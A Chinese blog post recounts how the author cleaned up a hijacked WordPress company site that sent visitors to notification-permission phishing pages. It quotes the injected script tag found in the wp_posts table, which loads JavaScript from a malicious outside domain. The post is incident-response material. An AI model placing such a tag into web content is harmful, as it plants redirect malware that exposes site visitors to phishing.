事情起因是这样的, 公司的网站被劫持了, 在前端解决问题后又复发后, 事情就落到这位幸运儿身上了~
劫持流程
先看看被黑是什么样子的.
打开网站会重定向到钓鱼页面, 然后提示你点击"允许通知", 如果在这里点击"Allow"的话, 猜测则会通过系统的消息通知来进行"攻击".
最为有趣的是, 这个钓鱼页面很"聪明", 如果等一段时间(大概几秒)没有见你点击"Allow"后, 会随机跳转到另外一个钓鱼页面.
像下图这样的, 直接告诉你可以解决刚刚出现的莫名弹窗(笑), 别说, 如果是个电脑小白还真会上钩, 毕竟, 这过程很"合理".
这是随机跳到的另一个钓鱼页面, 也是同样的套路.
定位问题原因
这个很明显是网站被劫持了, 那么第一步要确认是怎么被劫持了? 是DNS劫持还是网站被黑了?
未分析上面的钓鱼流程前, 从初步信息判断--"我们自己打开网站不会被跳转, 但是在国外友人打开网站会被跳转", 先排除正确答案(网站被黑).
那DNS被劫持, 这个有可能吗?
这里有一个细节, 钓鱼页面是网站打开后才跳转到钓鱼页面, 这个是DNS劫持不能做到的.
很可惜, 这个细节被忽略掉了, 所有有了接下来判断是否因为DNS被污染的操作.
让国外友人用手机网络去浏览页面, 看看是否能正常访问, 排除区域网被劫持的可能.
还是不能正常访问, 这里就极大可能排除是DNS污染的问题, 运营商的DNS服务都被黑掉的概率太低了.
那么回到网络被黑的可能去, 这里有个疑问, 为什么我们访问网站不会被跳转, 这个是和所处的网络有关吗?
一开始也很疑惑, 但后来公司有人访问页面也被跳转后, 我才发现忽略了一个很重要的东西--缓存.
答案确认了--网站被黑, 那接下来正式解决问题.
定位恶意代码
捡起老本行(逆向), 分析一波网络请求先, 很轻松的就找到恶意代码.
首先, 搜索一开始跳转的域名, 找到该请求, 并没有得到有价值的信息, 我们需要找到发起该请求的地方.
这时观察一下网络条, 发现有个地方存在异常, 请求了其它域名, 因为网站只连接了一个域名, 正常情况下应该是只有一条线.
让我们选中这个异常的网络块, 跳到发起的请求看看.
点开里面的内容一看, 果不其然, 这一段天书般的代码, 就是我们要找的东西了.
这一段是复盘的时候加上去的.
这里手动翻译了下, 是一段重定向代码, 顺便搜索了下里面出现最多的wordpress_p_seo_adminos
, 推测跟p_seo_adminos
这个WP插件有关.
function setCookie(e,t,o){var n="";if(o){var i=new Date;i.setTime(i.getTime()+24*o*60*60*1e3),n="; expires="+i.toUTCString()}document.cookie=e+"="+(t||"")+n+"; path=/"} |
接下来该怎么办? 毕竟咱对WordPress
并不是很熟悉, 所以借助下搜索引擎的力量, 找到了这篇文章.
How to remove legendarytable.com redirect malware - Remote Rescue
这篇文章刚好也是网站被劫持的那段时间发出的, 确认是同一种情况后, 咱根据文章教程进行解决就行.
处理恶意插件
这里通过关键字搜索恶意插件名无果后, 直接把网站上看起来的"奇奇怪怪"插件都给清了, 后面也没有复发, 简单又省事~
清除恶意代码
顺藤摸瓜, 找到DB.wp_posts
里的恶意代码, 这里使用phpMyAdmin
去连接(通过WP插件).
<script type=’text/javascript’ src=’https://trend.linetoadsactive.com/m.js?n=ns1′></script> |
然而, 在时间急迫的情况下(还有其它事情要做), 以及翻了好几页都是相同内容的误导中, 直接使用UPDATE wp_posts SET post_content = ""
语句(真是个大聪明).
结果, post_content
被清空了, 页面内容被清空...
回滚数据
参考文章: https://www.pch520.com/article/36
先查看
binlog
日志开了没,log_bin=ON
SHOW VARIABLES LIKE 'log_bin';
再看看配置是否正确,
binlog_format=ROW
show global variables like "binlog%";
很好, 前提条件都具备了, 那么导出执行查询语句的那一段时间的日志
mysqlbinlog <log_path>/mysql-bin.000087 --start-datetime='2022-05-17 15:00:00' --stop-datetime='2022-05-17 16:00:00' > ~/mysql-bin.sql |
接下来, 写一段Python脚本, 生成回滚SQL, 顺便把恶意代码也清了, 最终, 问题解决~
最后, 数据无价, 操作需谨慎( •̀ .̫ •́ )